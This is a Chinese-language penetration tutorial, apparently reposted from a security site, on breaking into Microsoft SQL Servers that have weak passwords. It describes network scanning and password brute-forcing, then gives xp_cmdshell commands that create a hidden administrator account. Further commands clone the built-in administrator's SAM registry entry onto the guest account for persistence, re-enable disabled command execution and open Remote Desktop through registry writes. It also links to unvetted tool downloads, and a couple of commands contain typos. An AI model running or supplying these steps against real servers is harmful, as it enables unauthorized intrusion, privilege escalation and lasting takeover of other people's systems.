【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

栏目: 数据库 · SQL Server · 发布时间: 7年前

内容简介:【技术分享】针对MSSQL弱口令实战流程梳理与问题记录
2017-06-05 09:56:20 阅读:106次 来源: 安全客
【技术分享】针对MSSQL弱口令实战流程梳理与问题记录
作者:myles007

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

作者: myles007

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

1. 端口发现

1.1. 常用 工具 推荐

常用端口扫描工具,其实很多这里不做过多的说明,本人还是以经典好用的nmap进行实际操练。

nmap 

nmap工具的下载,请直接去其官方网站下载即可。

ssport

ssport 是个简单快速的图形化端口扫描工具。

1.2. nmap端口扫描

我们现在进行整个网段的TCP 1433端口扫描,探测下开启了1433端口的服务器地址,具体端口扫描命令如下:

nmap -p1433 --open x.x.x.0/24

扫描结果截图如下:

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

通过以上nmap的扫描发现,本目标网段存在4台主机开启了远程1433端口服务。

2. 弱口令爆破

2.1. 常用工具推荐

x-scan

hscan

nmap

x-scan 与hscan两款工具(x-scan & hscan)都是自带字典的图形化常见应用的扫描检测工具,他们各自支持扫描检测的应用类型非常丰富,具体的情况这里也不做过多的赘述,我这里仅以hscan和nmap作为实操工具分别进行演练。

2.2. Nmap 弱口令爆破

Nmap 扫描器功能之强大,这里肯定不需要我等小菜过多的说明了,我这里只简单的说下Nmap强大的扫描脚本的使用方法。其实使用也是非常方便的,只要我们找到相应的脚本,直接以文本编辑模式打开脚本,就可以找到具体的使用方法,后面会详细演示给大家,具体过程如下。

2.2.1. 查找ms-sql暴力破击脚本

Nmap的所有相关扫描脚本都存放在Nmap安装目录下的“script”目录下,在我们进入“script”目录后,直接查找ms-sql关键字就可以找到所有与ms-sql相关的扫描脚本,这里我们使用脚本“ms-sql-brute”这个ms-sql暴力爆破模块,其实我们从它的名字也能猜到本模块的功能。 

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.2.2. 查看ms-sql-brute脚本使用方法

在查找到nmap脚本后,我们可以直接以文本编辑的模式打开脚本,我们看文本中有个一个单词“@usage”,其实就是使用方法了,在使用方法中已经给出了详细的使用案例,我们直接复制出来,然后在CMD下直接进行修改后即可使用了。

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.2.3. 调用ms-sql-brute脚本进行扫描

竟然是进行ms-sql登录口令的暴力破解,自然就是要用到字典了,有关弱口令字典的内容需要我们自行去收集了,很多的一些扫描工具中都会字典部分弱口令字典,大家平时也可以收集整理起来,以备使用。

那么接下来,我们直接参考扫描脚本中的案例,直接修改了字典的名称和扫描目标即可下发扫描任务了。以下截图分别给出了“单个主机”和“主机列表”的扫描过程截图。

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3. hscan 弱口令爆破

2.3.1. 配置扫描模块

通过“菜单”-“参数”指定MSSQL 弱口令检查;

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3.2. 配置扫描参

通过“菜单”-“参数”浏览指定前面发现地址列表。

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3.3. 发起扫描任务

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

2.3.4. 扫描结果

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3. MSSQL 入侵

至此,我们已经完成对网络中存在弱口令的ms-sql服务的安全扫描检查工作,接下来要进入到真正的入侵渗透压轴大戏了。

3.1. 数据库查询工具推荐

下面分别给大家贴出两个mssql查询分析工具的下载链接,请大家对于工具的使用要慎重,千万不要不要用于非法的攻击行为。网络安全即将发布了,请大家做个遵纪守法的小伙伴。

1) MSSQL 查询分析器 

云盘下载: http://pan.baidu.com/s/1slK0tbf 密码:0bdb

2) MSSQL 执行器 

下载地址:

http://xiaowang.blog.51cto.com/attachment/200902/1083_1233814542.rar

3) Nmap 脚本连接

对于nmap的使用,我们同样可以使用其提供的ms-sql-xp-cmdshell脚本直接进行提权操作。

3.2. 连接登录数据

我这里演示,使用mssql查询分析器,使用过程中发现比较稳定些,也推荐给大家。现在直接使用mssql分析连接数据库。

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.3. 添加系统账号并提权

3.3.1. 第一步:使用xp_cmdshell添加普通账号test

添加账号:

xp_cmdshell ‘net user test 123 /add’

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.3.2. 第二步:使用xp_cmdshell进行test用户提权

提权语句:

xp_cmeshell ‘net localgroup administrators test /add’

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.3.3. 第三步:查询用户提权情况

用户查询:

xp_cmdshell ‘net user test’

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.4. 查询3389端口是否开启

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

3.5. 维持访问

对于如何保持访问,我们可以通过“破解系统超级管理员密码”或“克隆系统管理员权限”都可以,这里为了对前面学习的新技能进行回顾,我这里使用xp_regread与xp_regwrite进行administrator账户进行权限克隆的实操演示。

3.5.1. 第一步:查询administrator账号的value值

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

3.5.2. 第二步:将administrator账号的value值赋给guest

xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......

3.5.3. 第三步:启用guest账户并提权

Windows2000以上的系统环境,guest用户必须在“Remote Desk Users”以上权限的用户组中,才允许你远程登录系统,故需要将guest用户添加到超级用户管理组中。

我们直接使用xp_cmdshell存储过程进行guest普通账号的提权,具体命令如下。

注:前面分享的原理性文章中已经补充说明过,windows2000系统是无需进行这里的第三步的操作。

4. 常见问题记录

最后对于个人在实际渗透中遇到的各种的问题进行下小结,并将解决问题的实操方法与情况记录如下,分享于大家。

4.1. 存储过程不能调用

4.1.1. 如果提示xp_cmdshell被删除了怎么办?

运行以下语句进行恢复:

exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll'

4.1.2. 如果提示xp_cmdshell被停用户怎么办法

运行以下语句进行恢复:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

4.2. 3389服务关闭了怎么办?

4.2.1. Windows 2003环境RDP服务开启

执行以下命令查看语句,检查c:\更目录是否有windows目录,如果有则说明当前系统为windows 2003系统及以上系统。

exec master..xp_cmdshell 'dir c:\'

随后我们再执行以下语句进3389端口服务的开启。 

exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'

注:已经验证语句执行完毕后,无需重启,即可直接远程登录。

4.2.2. windows 2000环境RDP服务开启 

看看根目录下如果有WINNT目录,则一般是win2000,随后再执行下面的语句来开启其3389服务。

exec master..xp_cmdshell 'dir c:\'
exec master..xp_cmdshell 'echo [Components] > c:\winnt\3389'
exec master..xp_cmdshell 'echo TSEnable = . >> c:\winnt\3389'
exec master..xp_cmdshell ·'sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\winnt\3389 /q'

注:window 2000系统需要重启后,配置才能生效。

4.3. 使用3389连接时,提示连接用户必须有远程连接的权限怎么办?

直接将测试用户添加到“administrators”用户组,执行语句如下: 

exec master..xp_cmdshell 'net localgroup administrators test /add'

4.4. 连接3389,提示连接用户已满怎么办?

可以直接在“运行”中执行以下命令来调用“远程桌面管理工具”: 

mstsc /admin

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

【技术分享】针对MSSQL弱口令实战流程梳理与问题记录 【技术分享】针对MSSQL弱口令实战流程梳理与问题记录

本文由 安全客 原创发布,如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/3932.html


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

网络、群体与市场

网络、群体与市场

大卫·伊斯利(David Esley)、乔恩·克莱因伯格(Jon Kleinberg) / 李晓明、王卫红、杨韫利 / 清华大学出版社 / 2011-10-1 / CNY 69.00

过去十年来,现代社会中复杂的连通性向公众展现出与日俱增的魅力。这种连通性在许多方面都有体现并发挥着强大的作用,包括互联网的快速成长、全球通信的便捷,以及新闻与信息(及传染病与金融危机)以惊人的速度与强度传播的能力。这种现象涉及网络、动机和人们的聚合行为。网络将人们的行为联系起来,使得每个人的决定可能对他人产生微妙的后果。 本书是本科生的入门教材,同时也适合希望进入相关领域的高层次读者。它从交......一起来看看 《网络、群体与市场》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

URL 编码/解码
URL 编码/解码

URL 编码/解码